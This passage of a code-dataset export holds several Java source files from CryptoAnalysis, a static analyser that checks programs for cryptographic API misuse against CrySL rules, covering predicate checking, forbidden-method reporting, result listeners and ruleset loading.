{\n\t\t\t\t\t\tif (alternatives.parallelStream().anyMatch(e -> e.getPredName().equals(ensPred.getPredicate().getPredName()))) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tremainingPredicates.remove(pred);\n\t\t\t\t} else if (negatives.isEmpty()) {\n\t\t\t\t\tfor (EnsuredCrySLPredicate ensPred : ensuredPredicates) {\n\t\t\t\t\t\tif (alternatives.parallelStream().anyMatch(e -> ensPred.getPredicate().equals(e) && doPredsMatch(e, ensPred))) {\n\t\t\t\t\t\t\tremainingPredicates.remove(pred);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tboolean neg = true;\n\n\t\t\t\t\tfor (EnsuredCrySLPredicate ensPred : ensuredPredicates) {\n\t\t\t\t\t\tif (negatives.parallelStream().anyMatch(e -> e.equals(ensPred.getPredicate()))) {\n\t\t\t\t\t\t\tneg = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\talternatives.removeAll(negatives);\n\t\t\t\t\t\tif (alternatives.parallelStream().allMatch(e -> ensPred.getPredicate().equals(e) && doPredsMatch(e, ensPred))) {\n\t\t\t\t\t\t\tsatisfied = true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (satisfied | neg) {\n\t\t\t\t\t\t\tremainingPredicates.remove(pred);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\tfor (ISLConstraint rem : Lists.newArrayList(remainingPredicates)) {\n\t\t\tif (rem instanceof RequiredCrySLPredicate) {\n\t\t\t\tRequiredCrySLPredicate singlePred = (RequiredCrySLPredicate) rem;\n\t\t\t\tif (evaluatePredCond(singlePred.getPred())) {\n\t\t\t\t\tremainingPredicates.remove(singlePred);\n\t\t\t\t}\n\t\t\t} else if (rem instanceof CrySLConstraint) {\n\t\t\t\tList altPred = ((AlternativeReqPredicate) rem).getAlternatives();\n\t\t\t\tif (altPred.parallelStream().anyMatch(e -> evaluatePredCond(e))) {\n\t\t\t\t\tremainingPredicates.remove(rem);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tthis.missingPredicates.addAll(remainingPredicates);\n\t\treturn remainingPredicates.isEmpty();\n\t}\n\n\tprivate boolean evaluatePredCond(CrySLPredicate pred) {\n\t\tfinal ISLConstraint conditional = pred.getConstraint();\n\t\tif (conditional != null) {\n\t\t\tEvaluableConstraint evalCons = constraintSolver.createConstraint(conditional);\n\t\t\tevalCons.evaluate();\n\t\t\tif (evalCons.hasErrors()) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tprivate boolean doPredsMatch(CrySLPredicate pred, EnsuredCrySLPredicate ensPred) {\n\t\tboolean requiredPredicatesExist = true;\n\t\tfor (int i = 0; i < pred.getParameters().size(); i++) {\n\t\t\tString var = pred.getParameters().get(i).getName();\n\t\t\tif (isOfNonTrackableType(var)) {\n\t\t\t\tcontinue;\n\t\t\t} else if (pred.getInvolvedVarNames().contains(var)) {\n\n\t\t\t\tfinal String parameterI = ensPred.getPredicate().getParameters().get(i).getName();\n\t\t\t\tCollection actVals = Collections.emptySet();\n\t\t\t\tCollection expVals = Collections.emptySet();\n\n\t\t\t\tfor (CallSiteWithParamIndex cswpi : ensPred.getParametersToValues().keySet()) {\n\t\t\t\t\tif (cswpi.getVarName().equals(parameterI)) {\n\t\t\t\t\t\tactVals = retrieveValueFromUnit(cswpi, ensPred.getParametersToValues().get(cswpi));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (CallSiteWithParamIndex cswpi : parameterAnalysis.getCollectedValues().keySet()) {\n\t\t\t\t\tif (cswpi.getVarName().equals(var)) {\n\t\t\t\t\t\texpVals = retrieveValueFromUnit(cswpi, parameterAnalysis.getCollectedValues().get(cswpi));\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tString splitter = \"\";\n\t\t\t\tint index = -1;\n\t\t\t\tif (pred.getParameters().get(i) instanceof CrySLObject) {\n\t\t\t\t\tCrySLObject obj = (CrySLObject) pred.getParameters().get(i);\n\t\t\t\t\tif (obj.getSplitter() != null) {\n\t\t\t\t\t\tsplitter = obj.getSplitter().getSplitter();\n\t\t\t\t\t\tindex = obj.getSplitter().getIndex();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (String foundVal : expVals) {\n\t\t\t\t\tif (index > -1) {\n\t\t\t\t\t\tfoundVal = foundVal.split(splitter)[index];\n\t\t\t\t\t}\n\t\t\t\t\tactVals = actVals.parallelStream().map(e -> e.toLowerCase()).collect(Collectors.toList());\n\t\t\t\t\trequiredPredicatesExist &= actVals.contains(foundVal.toLowerCase());\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\trequiredPredicatesExist = false;\n\t\t\t}\n\t\t}\n\t\treturn pred.isNegated() != requiredPredicatesExist;\n\t}\n\n\tprivate Collection retrieveValueFromUnit(CallSiteWithParamIndex cswpi, Collection collection) {\n\t\tCollection values = new ArrayList();\n\t\tfor (ExtractedValue q : collection) {\n\t\t\tUnit u = q.stmt().getUnit().get();\n\t\t\tif (cswpi.stmt().equals(q.stmt())) {\n\t\t\t\tif (u instanceof AssignStmt) {\n\t\t\t\t\tvalues.add(retrieveConstantFromValue(((AssignStmt) u).getRightOp().getUseBoxes().get(cswpi.getIndex()).getValue()));\n\t\t\t\t} else {\n\t\t\t\t\tvalues.add(retrieveConstantFromValue(u.getUseBoxes().get(cswpi.getIndex()).getValue()));\n\t\t\t\t}\n\t\t\t} else if (u instanceof AssignStmt) {\n\t\t\t\tfinal Value rightSide = ((AssignStmt) u).getRightOp();\n\t\t\t\tif (rightSide instanceof Constant) {\n\t\t\t\t\tvalues.add(retrieveConstantFromValue(rightSide));\n\t\t\t\t} else {\n\t\t\t\t\tfinal List useBoxes = rightSide.getUseBoxes();\n\n\t\t\t\t\t// varVal.put(callSite.getVarName(),\n\t\t\t\t\t// retrieveConstantFromValue(useBoxes.get(callSite.getIndex()).getValue()));\n\t\t\t\t}\n\t\t\t}\n\t\t\t// if (u instanceof AssignStmt) {\n\t\t\t// final List useBoxes = ((AssignStmt) u).getRightOp().getUseBoxes();\n\t\t\t// if (!(useBoxes.size() <= cswpi.getIndex())) {\n\t\t\t// values.add(retrieveConstantFromValue(useBoxes.get(cswpi.getIndex()).getValue()));\n\t\t\t// }\n\t\t\t// } else if (cswpi.getStmt().equals(u)) {\n\t\t\t// values.add(retrieveConstantFromValue(cswpi.getStmt().getUseBoxes().get(cswpi.getIndex()).getValue()));\n\t\t\t// }\n\t\t}\n\t\treturn values;\n\t}\n\n\tprivate String retrieveConstantFromValue(Value val) {\n\t\tif (val instanceof StringConstant) {\n\t\t\treturn ((StringConstant) val).value;\n\t\t} else if (val instanceof IntConstant || val.getType() instanceof IntType) {\n\t\t\treturn val.toString();\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\tprivate final static List trackedTypes = Arrays.asList(\"java.lang.String\", \"int\", \"java.lang.Integer\");\n\n\tprivate boolean isOfNonTrackableType(String varName) {\n\t\tfor (Entry object : spec.getRule().getObjects()) {\n\t\t\tif (object.getValue().equals(varName) && trackedTypes.contains(object.getKey())) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\n\tpublic ClassSpecification getSpec() {\n\t\treturn spec;\n\t}\n\n\tpublic void addEnsuredPredicate(EnsuredCrySLPredicate ensPred) {\n\t\tif (ensuredPredicates.add(ensPred)) {\n\t\t\tfor (Entry e : typeStateChange.entries())\n\t\t\t\tonAddedTypestateChange(e.getKey(), e.getValue());\n\t\t}\n\t}\n\n\tprivate boolean isPredicateGeneratingState(CrySLPredicate ensPred, State stateNode) {\n\t\treturn ensPred instanceof CrySLCondPredicate && isConditionalState(((CrySLCondPredicate) ensPred).getConditionalMethods(), stateNode) || (!(ensPred instanceof CrySLCondPredicate) && stateNode.isAccepting());\n\t}\n\n\tprivate boolean isConditionalState(Set conditionalMethods, State state) {\n\t\tif (conditionalMethods == null)\n\t\t\treturn false;\n\t\tfor (StateNode s : conditionalMethods) {\n\t\t\tif (new WrappedState(s).equals(state)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic Set getMissingPredicates() {\n\t\treturn missingPredicates;\n\t}\n\n\tpublic ExtractParameterAnalysis getParameterAnalysis() {\n\t\treturn parameterAnalysis;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = super.hashCode();\n\t\tresult = prime * result + ((spec == null) ? 0 : spec.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tAnalysisSeedWithSpecification other = (AnalysisSeedWithSpecification) obj;\n\t\tif (spec == null) {\n\t\t\tif (other.spec != null)\n\t\t\t\treturn false;\n\t\t} else if (!spec.equals(other.spec))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tpublic boolean isSecure() {\n\t\treturn secure;\n\t}\n\n\tpublic void setSecure(boolean secure) {\n\t\tthis.secure = secure;\n\t}\n\n\t@Override\n\tpublic Set> getDataFlowPath() {\n\t\treturn results.getDataFlowPath();\n\t}\n\n\tpublic Map getAllCallsOnObject() {\n\t\treturn allCallsOnObject;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":23876,"string":"23,876"},"avg_line_length":{"kind":"number","value":35.62116564417178,"string":"35.621166"},"max_line_length":{"kind":"number","value":209,"string":"209"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":278,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ClassSpecification.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Optional;\n\nimport boomerang.WeightedForwardQuery;\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.debugger.Debugger;\nimport boomerang.jimple.Statement;\nimport crypto.analysis.errors.ForbiddenMethodError;\nimport crypto.rules.CrySLForbiddenMethod;\nimport crypto.rules.CrySLRule;\nimport crypto.typestate.CrySLMethodToSootMethod;\nimport crypto.typestate.ExtendedIDEALAnaylsis;\nimport crypto.typestate.SootBasedStateMachineGraph;\nimport ideal.IDEALSeedSolver;\nimport soot.SootMethod;\nimport soot.Unit;\nimport soot.jimple.InvokeExpr;\nimport soot.jimple.Stmt;\nimport typestate.TransitionFunction;\n\npublic class ClassSpecification {\n\tprivate ExtendedIDEALAnaylsis extendedIdealAnalysis;\n\tprivate CrySLRule crySLRule;\n\tprivate final CryptoScanner cryptoScanner;\n\tprivate final SootBasedStateMachineGraph fsm;\n\n\tpublic ClassSpecification(final CrySLRule rule, final CryptoScanner cScanner) {\n\t\tthis.crySLRule = rule;\n\t\tthis.cryptoScanner = cScanner;\n\t\tthis.fsm = new SootBasedStateMachineGraph(rule.getUsagePattern());\n\t\tthis.extendedIdealAnalysis = new ExtendedIDEALAnaylsis() {\n\t\t\t@Override\n\t\t\tpublic SootBasedStateMachineGraph getStateMachine() {\n\t\t\t\treturn fsm;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic CrySLResultsReporter analysisListener() {\n\t\t\t\treturn cryptoScanner.getAnalysisListener();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic ObservableICFG icfg() {\n\t\t\t\treturn cryptoScanner.icfg();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tprotected Debugger debugger(IDEALSeedSolver solver) {\n\t\t\t\treturn cryptoScanner.debugger(solver, null);\n\t\t\t}\n\t\t};\n\t}\n\n\tpublic boolean isLeafRule() {\n\t\treturn crySLRule.isLeafRule();\n\t}\n\n\t\n\n\tpublic Collection> getInitialSeeds(SootMethod m) {\n\t\treturn extendedIdealAnalysis.computeSeeds(m);\n\t}\n\n\n\t@Override\n\tpublic String toString() {\n\t\treturn crySLRule.getClassName().toString();\n\t}\n\n\tpublic void invokesForbiddenMethod(SootMethod m) {\n\t\tif ( !m.hasActiveBody()) {\n\t\t\treturn;\n\t\t}\n\t\tfor (Unit u : m.getActiveBody().getUnits()) {\n\t\t\tif (u instanceof Stmt) {\n\t\t\t\tStmt stmt = (Stmt) u;\n\t\t\t\tif (!stmt.containsInvokeExpr())\n\t\t\t\t\tcontinue;\n\t\t\t\tInvokeExpr invokeExpr = stmt.getInvokeExpr();\n\t\t\t\tSootMethod method = invokeExpr.getMethod();\n\t\t\t\tOptional forbiddenMethod = isForbiddenMethod(method);\n\t\t\t\tif (forbiddenMethod.isPresent()){\n\t\t\t\t\tcryptoScanner.getAnalysisListener().reportError(null, new ForbiddenMethodError(new Statement((Stmt)u, cryptoScanner.icfg().getMethodOf(u)), this.getRule(), method, CrySLMethodToSootMethod.v().convert(forbiddenMethod.get().getAlternatives())));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate Optional isForbiddenMethod(SootMethod method) {\n\t\t// TODO replace by real specification once available.\n\t\tList forbiddenMethods = crySLRule.getForbiddenMethods();\n//\t\tSystem.out.println(forbiddenMethods);\n\t\t//TODO Iterate over ICFG and report on usage of forbidden method.\n\t\tfor(CrySLForbiddenMethod m : forbiddenMethods){\n\t\t\tif(!m.getSilent()){\n\t\t\t\tCollection matchingMethod = CrySLMethodToSootMethod.v().convert(m.getMethod());\n\t\t\t\tif(matchingMethod.contains(method))\n\t\t\t\t\treturn Optional.of(m);\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\treturn Optional.empty();\n\t}\n\n\n\tpublic CrySLRule getRule() {\n\t\treturn crySLRule;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((crySLRule == null) ? 0 : crySLRule.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tClassSpecification other = (ClassSpecification) obj;\n\t\tif (crySLRule == null) {\n\t\t\tif (other.crySLRule != null)\n\t\t\t\treturn false;\n\t\t} else if (!crySLRule.equals(other.crySLRule))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tpublic Collection getInvolvedMethods() {\n\t\treturn fsm.getInvolvedMethods();\n\t}\n\t\n\tpublic SootBasedStateMachineGraph getFSM(){\n\t\treturn fsm;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":4092,"string":"4,092"},"avg_line_length":{"kind":"number","value":26.843537414965986,"string":"26.843537"},"max_line_length":{"kind":"number","value":248,"string":"248"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":279,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ConstraintReporter.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Collection;\n\nimport boomerang.jimple.Statement;\nimport crypto.interfaces.ISLConstraint;\nimport soot.SootMethod;\n\npublic interface ConstraintReporter {\n\n\tpublic void constraintViolated(ISLConstraint con, Statement unit);\n\t\n\tvoid callToForbiddenMethod(ClassSpecification classSpecification, Statement callSite, SootMethod foundCall, Collection convert);\n\n\tpublic void unevaluableConstraint(ISLConstraint con, Statement unit);\n}\n"},"file_length":{"kind":"number","value":481,"string":"481"},"avg_line_length":{"kind":"number","value":27.352941176470587,"string":"27.352941"},"max_line_length":{"kind":"number","value":141,"string":"141"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":280,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLAnalysisListener.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\npublic abstract class CrySLAnalysisListener implements ICrySLPerformanceListener, ICrySLResultsListener {\n\t\n}\n"},"file_length":{"kind":"number","value":136,"string":"136"},"avg_line_length":{"kind":"number","value":21.833333333333332,"string":"21.833333"},"max_line_length":{"kind":"number","value":105,"string":"105"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":281,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLResultsReporter.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Set;\n\nimport com.google.common.collect.Multimap;\nimport com.google.common.collect.Table;\n\nimport boomerang.BackwardQuery;\nimport boomerang.Query;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport boomerang.results.ForwardBoomerangResults;\nimport crypto.analysis.errors.AbstractError;\nimport crypto.extractparameter.CallSiteWithParamIndex;\nimport crypto.extractparameter.ExtractedValue;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLPredicate;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\n\npublic class CrySLResultsReporter {\n\n\tprivate List listeners;\n\n\tpublic CrySLResultsReporter() {\n\t\tlisteners = new ArrayList();\n\t}\n\n\tpublic boolean addReportListener(ICrySLResultsListener listener) {\n\t\treturn listeners.add(listener);\n\t}\n\n\tpublic boolean removeReportListener(CrySLAnalysisListener listener) {\n\t\treturn listeners.remove(listener);\n\t}\n\n\tpublic void collectedValues(AnalysisSeedWithSpecification seed, Multimap parametersToValues) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.collectedValues(seed, parametersToValues);\n\t\t}\n\t}\n\n\tpublic void discoveredSeed(IAnalysisSeed curr) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.discoveredSeed(curr);\n\t\t}\n\t}\n\n\tpublic void ensuredPredicates(Table> existingPredicates, Table> expectedPredicates, Table> missingPredicates) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).ensuredPredicates(existingPredicates, expectedPredicates, missingPredicates);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void checkedConstraints(AnalysisSeedWithSpecification analysisSeedWithSpecification, Collection relConstraints) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.checkedConstraints(analysisSeedWithSpecification, relConstraints);\n\t\t}\n\t}\n\n\tpublic void beforeAnalysis() {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).beforeAnalysis();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void afterAnalysis() {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).afterAnalysis();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void beforeConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).beforeConstraintCheck(analysisSeedWithSpecification);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void afterConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).afterConstraintCheck(analysisSeedWithSpecification);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void beforePredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).beforePredicateCheck(analysisSeedWithSpecification);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void afterPredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).afterPredicateCheck(analysisSeedWithSpecification);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void seedStarted(IAnalysisSeed analysisSeedWithSpecification) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).seedStarted(analysisSeedWithSpecification);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void boomerangQueryStarted(Query seed, BackwardQuery q) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).boomerangQueryStarted(seed, q);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void boomerangQueryFinished(Query seed, BackwardQuery q) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tif (listen instanceof CrySLAnalysisListener) {\n\t\t\t\t((CrySLAnalysisListener) listen).boomerangQueryFinished(seed, q);\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic void onSeedFinished(IAnalysisSeed seed, ForwardBoomerangResults analysisResults) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.onSeedFinished(seed, analysisResults);\n\t\t}\n\t}\n\t\n\tpublic void onSeedTimeout(Node seed) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.onSeedTimeout(seed);\n\t\t}\n\t}\n\t\n\tpublic void reportError(IAnalysisSeed object, AbstractError err) {\n\t\tif (object != null && object instanceof AnalysisSeedWithSpecification) {\n\t\t\t((AnalysisSeedWithSpecification) object).setSecure(false);\n\t\t}\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.reportError(err);\n\t\t}\n\t}\n\n\n\tpublic void onSecureObjectFound(IAnalysisSeed seed) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.onSecureObjectFound(seed);\n\t\t}\n\t}\n\n\tpublic void addProgress(int processedSeeds, int workListsize) {\n\t\tfor (ICrySLResultsListener listen : listeners) {\n\t\t\tlisten.addProgress(processedSeeds,workListsize);\n\t\t}\n\t\t\n\t}\n\t\n}\n"},"file_length":{"kind":"number","value":5582,"string":"5,582"},"avg_line_length":{"kind":"number","value":31.086206896551722,"string":"31.086207"},"max_line_length":{"kind":"number","value":247,"string":"247"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":282,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLRulesetSelector.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.io.File;\nimport java.util.List;\nimport com.google.common.collect.Lists;\nimport com.google.common.io.Files;\n\nimport crypto.rules.CrySLRule;\nimport crypto.rules.CrySLRuleReader;\n\nimport crypto.cryslhandler.CrySLModelReader;\nimport crypto.exceptions.CryptoAnalysisException;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class CrySLRulesetSelector {\n\t\n\tprivate static final Logger LOGGER = LoggerFactory.getLogger(CrySLRulesetSelector.class);\n\t\n\n\t/**\n\t * the supported rule formats\n\t */\n\tpublic static enum RuleFormat {\n\t\tSOURCE() {\n\t\t\tpublic String toString() {\n\t\t\t\treturn CrySLModelReader.cryslFileEnding;\n\t\t\t}\n\t\t},\n\t}\n\n\t/**\n\t * current RuleSets\n\t */\n\tpublic static enum Ruleset {\n\t\tJavaCryptographicArchitecture, BouncyCastle, Tink\n\t}\n\n\t/**\n\t * Creates {@link CrySLRule} objects for the given RuleSet argument and returns them as {@link List}.\n\t * \n\t * @param rulesBasePath a {@link String} path giving the location of the CrySL ruleset base folder\n\t * @param ruleFormat the file extension of the CrySL files\n\t * @param set the {@link Ruleset} for which the {@link CrySLRule} objects should be created for\n\t * @return the {@link List} with {@link CrySLRule} objects\n\t * @throws CryptoAnalysisException \n\t */ \n\tpublic static List makeFromRuleset(String rulesBasePath, RuleFormat ruleFormat, Ruleset... set) throws CryptoAnalysisException {\n\t\t\n\t\tList rules = Lists.newArrayList();\n\t\tfor (Ruleset s : set) {\n\t\t\trules.addAll(getRulesset(rulesBasePath, ruleFormat, s));\n\t\t}\n\t\tif (rules.isEmpty()) {\n\t\t\tLOGGER.info(\"No CrySL rules found for rulesset \" + set);\n\t\t}\n\t\treturn rules;\n\t}\n\n\t/**\n\t * Computes the ruleset from a string. The sting\n\t * \n\t * @param rulesetString\n\t * @return\n\t * @throws CryptoAnalysisException \n\t */\n\tpublic static List makeFromRulesetString(String rulesBasePath, RuleFormat ruleFormat,\n\t\t\tString rulesetString) throws CryptoAnalysisException {\n\t\tString[] set = rulesetString.split(\",\");\n\t\tList ruleset = Lists.newArrayList();\n\t\tfor (String s : set) {\n\t\t\tif (s.equalsIgnoreCase(Ruleset.JavaCryptographicArchitecture.name())) {\n\t\t\t\truleset.add(Ruleset.JavaCryptographicArchitecture);\n\t\t\t}\n\t\t\tif (s.equalsIgnoreCase(Ruleset.BouncyCastle.name())) {\n\t\t\t\truleset.add(Ruleset.BouncyCastle);\n\t\t\t}\n\t\t\tif (s.equalsIgnoreCase(Ruleset.Tink.name())) {\n\t\t\t\truleset.add(Ruleset.Tink);\n\t\t\t}\n\t\t}\n\t\tif (ruleset.isEmpty()) {\n\t\t\tthrow new CryptoAnalysisException(\"Could not parse \" + rulesetString + \". Was not able to find rulesets.\");\n\t\t}\n\t\treturn makeFromRuleset(rulesBasePath, ruleFormat, ruleset.toArray(new Ruleset[ruleset.size()]));\n\t}\n\n\tprivate static List getRulesset(String rulesBasePath, RuleFormat ruleFormat, Ruleset s) throws CryptoAnalysisException {\n\t\tList rules = Lists.newArrayList();\n\t\tFile[] listFiles = new File(rulesBasePath + s + \"/\").listFiles();\n\t\tfor (File file : listFiles) {\n\t\t\tCrySLRule rule = CrySLRuleReader.readFromSourceFile(file);\n\t\t\tif(rule != null) {\n\t\t\t\trules.add(rule);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (rules.isEmpty()) {\n\t\t\tthrow new CryptoAnalysisException(\"No CrySL rules found in \" + rulesBasePath+s+\"/\");\n\t\t}\n\t\t\n\t\treturn rules;\n\t}\n\n\t/**\n\t * Creates and returns a single {@link CrySLRule} object for the given RuleSet argument.\n\t * \n\t * @param rulesBasePath a {@link String} path giving the location of the CrySL ruleset base folder\n\t * @param ruleFormat the file extension of the CrySL file\n\t * @param ruleset the {@link Ruleset} where the rule belongs to \n\t * @param rulename the name of the rule\n\t * @return the {@link CrySLRule} object\n\t * @throws CryptoAnalysisException \n\t */\n\tpublic static CrySLRule makeSingleRule(String rulesBasePath, RuleFormat ruleFormat, Ruleset ruleset, String rulename) throws CryptoAnalysisException {\n\t\tFile file = new File(rulesBasePath + \"/\" + ruleset + \"/\" + rulename + RuleFormat.SOURCE);\n\t\tif (file.exists() && file.isFile()) {\n\t\t\tCrySLRule rule = CrySLRuleReader.readFromSourceFile(file);\n\t\t\tif(rule != null) {\n\t\t\t return rule;\n\t\t\t} else {\n\t\t\t\tthrow new CryptoAnalysisException(\"CrySL rule couldn't created from path \" + file.getAbsolutePath());\n\t\t\t}\n\t\t} else {\n\t\t\tthrow new CryptoAnalysisException(\"The specified path is not a file \" + file.getAbsolutePath());\n\t\t}\n\t}\n\n\n\t/**\n\t * Creates the {@link CrySLRule} objects for the given {@link File} argument and returns them as {@link List}.\n\t * \n\t * @param \tresourcesPath a {@link File} with the path giving the location of the CrySL file folder\n\t * @param \truleFormat the {@link Ruleset} where the rules belongs to \n\t * @return the {@link List} with {@link CrySLRule} objects. If no rules are found it returns an empty list.\n\t * @throws CryptoAnalysisException Throws when a file could not get processed to a {@link CrySLRule}\n\t */\n\t@Deprecated\n\tpublic static List makeFromPath(File resourcesPath, RuleFormat ruleFormat) throws CryptoAnalysisException {\n\t\treturn CrySLRuleReader.readFromDirectory(resourcesPath);\n\t}\n\t\n\t/**\n\t * Creates {@link CrySLRule} objects from a Zip file and returns them as {@link List}.\n\t * \n\t * @param resourcesPath the Zip {@link File} which contains the CrySL files\n\t * @return the {@link List} with {@link CrySLRule} objects from the Zip file.\n\t * \t\tIf no rules are found it returns an empty list.\n\t * @throws CryptoAnalysisException Throws when a file could not get processed to a {@link CrySLRule}\n\t */\n\t@Deprecated\n\tpublic static List makeFromZip(File resourcesPath) throws CryptoAnalysisException {\n\t\treturn CrySLRuleReader.readFromZipFile(resourcesPath);\n\t}\n}\n"},"file_length":{"kind":"number","value":5550,"string":"5,550"},"avg_line_length":{"kind":"number","value":34.35668789808917,"string":"34.356688"},"max_line_length":{"kind":"number","value":151,"string":"151"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":283,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CryptoScanner.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport 